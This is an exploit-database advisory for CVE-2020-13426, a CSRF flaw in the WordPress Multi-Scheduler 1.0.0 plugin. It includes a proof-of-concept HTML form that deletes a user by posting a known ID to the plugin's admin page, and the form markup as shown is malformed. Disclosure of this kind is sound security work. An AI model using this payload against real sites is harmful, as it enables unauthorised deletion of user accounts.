## WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)

2020.05.30		
UnD3sc0n0c1d0 (https://cxsecurity.com/author/UnD3sc0n0c1d0/1/) (ES)		
Risk: Low Local: No Remo		
CVE: CVE-2020-13426 (https://cxsecurity.com/cveshow/CVE-2020-13426/)	CWE: CWE-352 (https://cxsecurity.com/cwe/CWE-352)	
CVSS Base Score: <b>4.3/10</b> Exploitability Subscore: <b>8.6/10</b> Attack complexity: <b>Medium</b> Confidentiality impact: <b>None</b> Availability impact: <b>None</b>	Impact Subscore: <b>2.9/10</b> Exploit range: <b>Remote</b> Authentication: <b>No required</b> Integrity impact: <b>Partial</b>	

# Exploit Title: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)				
# Google Dork: N/A				
# Date: 2020-05-21				
# Author Homepage: https://infayer.com/				
# Exploit Author: UnD3sc0n0cld0				
# Vendor Homepage: https://www.bdtask.com/				
# Software Link: https://downloads.wordpress.org/plugin/multi-scheduler.1.0.0.zip				
# Category: Web Application				
# Version: 1.0.0				
# Tested on: CentOS 7 / WordPress 5.4.1				
# CVE : CVE-2020-13426				
# 1. Technical Description:				
The Multi-Scheduler plugin 1.0.0 for WordPress has a Cross-Site Request Forgery (CSRF) vulnerability				
in the forms it presents, allowing the possibility of deleting records (users) when an ID is known.				
# 2. Proof of Concept (PoC):				
<html></html>				
<form action="http://[TARGET]/wp-admin/admin.php?page=msbdt_professional" method="POST"></form>				
<pre><input name="pro_delete_id" type="hidden" value="[ID]"/> </pre>				
<pre><input name="professional_delete" type="hidden" value="Delete"/></pre>				
<pre><input type="submit" value="Delete user"/></pre>				

	Τι		Lul		
Vote for this issue: $\begin{pmatrix} 1 & 1 \\ 1 & 0 \end{pmatrix}$					
100%					

Comment it here.					
Nick (*)					
Nick					
Email (*)					
Email					
Video					

Link to Youtube						
Text (*)						
	//					

Copyright 2022, cxsecurity.com